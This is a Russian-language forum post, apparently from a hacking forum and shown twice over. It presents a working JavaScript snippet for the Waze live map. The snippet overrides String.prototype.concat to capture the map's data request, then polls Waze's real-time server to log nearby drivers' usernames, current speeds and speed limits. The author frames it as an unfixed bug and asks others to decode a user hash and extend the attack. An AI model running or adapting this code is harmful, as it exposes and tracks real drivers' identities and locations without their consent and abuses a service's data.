InetTester
08.03.2019, 00:58
Добрый вечер.
Не уверен что это совсем грамотно называть уязвимостью, но тем не менее с помощью небольшого JS скрипта удается получить информацию которую разработчики 100% не планировали афишировать, а именно о скорости авто в заданном регионе, бонусом идет то что если человек авторизован то проскакивает именно его логин. количество запросов естественно сильнозависит от страны и регина, данную 'новость' я еще не видел на этом ресурсе поэтому посчитал что она будет весьма актуальна.
JavaScript:
virtualRadar
=
function
(
url
)
{
console
.
log
(
"====================================="
)
;
request
=
new
XMLHttpRequest
(
)
;
request
.
addEventListener
(
'load'
,
function
(
ret
)
{
JSON
.
parse
(
ret
.
target
.
response
)
.
users
.
map
(
e
=>
{
check
=
new
XMLHttpRequest
(
)
;
check
.
open
(
'GET'
,
'https://www.waze.com/row-WAS/app/getStreet?lat='
+
e
.
location
.
y
+
'&lon='
+
e
.
location
.
x
+
'&radius=0.0005'
)
;
check
.
addEventListener
(
'load'
,
(
function
(
d, r
)
{
try
{
var
allowedSpeed
=
JSON
.
parse
(
r
.
target
.
response
)
[
0
]
.
toFromMaxSpeed
,
currentSpeed
=
Math
.
floor
(
d
.
speed
*
36
/
10
)
;
if
(
currentSpeed
>=
30
&&
allowedSpeed
>=
30
)
console
.
log
(
'%c ('
+
d
.
id
+
') '
+
d
.
userName
+
': '
+
currentSpeed
+
' km/h <> '
+
allowedSpeed
+
' km/h'
,
currentSpeed
>
allowedSpeed
?
'color:red'
:
'color: #000'
)
;
}
catch
(
e
)
{
}
;
}
)
.
bind
(
null
,
e
)
)
;
check
.
send
(
null
)
;
}
)
;
}
)
;
request
.
open
(
'get'
,
url
)
;
request
.
send
(
)
;
}
;
vRadarInterval
=
null
;
if
(
!
String
.
prototype
.
concat2
)
String
.
prototype
.
concat2
=
String
.
prototype
.
concat
;
String
.
prototype
.
concat
=
function
(
)
{
var
ret
=
""
,
args
=
[
]
.
slice
.
call
(
arguments
)
;
for
(
var
i
in
args
)
ret
=
String
.
prototype
.
concat2
(
ret
,
args
[
i
]
)
ret
=
String
.
prototype
.
concat2
(
this
.
valueOf
(
)
,
ret
)
;
test
=
/TGeoRSS\?bottom\=([0-9\.\-]*)\&left\=([0-9\.\-]*)\&ma\=([0-9\.\-]*)\&mj\=([0-9\.\-]*)&mu\=([0-9\.\-]*)\&right\=([0-9\.\-]*)\&top\=([0-9\.\-]*)/
.
exec
(
ret
)
;
if
(
test
)
{
clearInterval
(
vRadarInterval
)
;
vRadarInterval
=
setInterval
(
virtualRadar
.
bind
(
null
,
"https://www.waze.com/row-rtserver/web/"
+
test
[
0
]
)
,
5000
)
;
}
return
ret
;
}
Было бы интересно если у форумчан получилось бы узнать 'что' именно представляет из себя данный хеш и развить данную идею, если это конечно возможно, и пока данный баг не пофиксили:
user-1267595432/eda8d84d-7906-387d-80ad-bb92869e6a04
Не уверен что это совсем грамотно называть уязвимостью, но тем не менее с помощью небольшого JS скрипта удается получить информацию которую разработчики 100% не планировали афишировать, а именно о скорости авто в заданном регионе, бонусом идет то что если человек авторизован то проскакивает именно его логин. количество запросов естественно сильнозависит от страны и регина, данную 'новость' я еще не видел на этом ресурсе поэтому посчитал что она будет весьма актуальна.
JavaScript:
virtualRadar
=
function
(
url
)
{
console
.
log
(
"====================================="
)
;
request
=
new
XMLHttpRequest
(
)
;
request
.
addEventListener
(
'load'
,
function
(
ret
)
{
JSON
.
parse
(
ret
.
target
.
response
)
.
users
.
map
(
e
=>
{
check
=
new
XMLHttpRequest
(
)
;
check
.
open
(
'GET'
,
'https://www.waze.com/row-WAS/app/getStreet?lat='
+
e
.
location
.
y
+
'&lon='
+
e
.
location
.
x
+
'&radius=0.0005'
)
;
check
.
addEventListener
(
'load'
,
(
function
(
d, r
)
{
try
{
var
allowedSpeed
=
JSON
.
parse
(
r
.
target
.
response
)
[
0
]
.
toFromMaxSpeed
,
currentSpeed
=
Math
.
floor
(
d
.
speed
*
36
/
10
)
;
if
(
currentSpeed
>=
30
&&
allowedSpeed
>=
30
)
console
.
log
(
'%c ('
+
d
.
id
+
') '
+
d
.
userName
+
': '
+
currentSpeed
+
' km/h <> '
+
allowedSpeed
+
' km/h'
,
currentSpeed
>
allowedSpeed
?
'color:red'
:
'color: #000'
)
;
}
catch
(
e
)
{
}
;
}
)
.
bind
(
null
,
e
)
)
;
check
.
send
(
null
)
;
}
)
;
}
)
;
request
.
open
(
'get'
,
url
)
;
request
.
send
(
)
;
}
;
vRadarInterval
=
null
;
if
(
!
String
.
prototype
.
concat2
)
String
.
prototype
.
concat2
=
String
.
prototype
.
concat
;
String
.
prototype
.
concat
=
function
(
)
{
var
ret
=
""
,
args
=
[
]
.
slice
.
call
(
arguments
)
;
for
(
var
i
in
args
)
ret
=
String
.
prototype
.
concat2
(
ret
,
args
[
i
]
)
ret
=
String
.
prototype
.
concat2
(
this
.
valueOf
(
)
,
ret
)
;
test
=
/TGeoRSS\?bottom\=([0-9\.\-]*)\&left\=([0-9\.\-]*)\&ma\=([0-9\.\-]*)\&mj\=([0-9\.\-]*)&mu\=([0-9\.\-]*)\&right\=([0-9\.\-]*)\&top\=([0-9\.\-]*)/
.
exec
(
ret
)
;
if
(
test
)
{
clearInterval
(
vRadarInterval
)
;
vRadarInterval
=
setInterval
(
virtualRadar
.
bind
(
null
,
"https://www.waze.com/row-rtserver/web/"
+
test
[
0
]
)
,
5000
)
;
}
return
ret
;
}
Было бы интересно если у форумчан получилось бы узнать 'что' именно представляет из себя данный хеш и развить данную идею, если это конечно возможно, и пока данный баг не пофиксили:
user-1267595432/eda8d84d-7906-387d-80ad-bb92869e6a04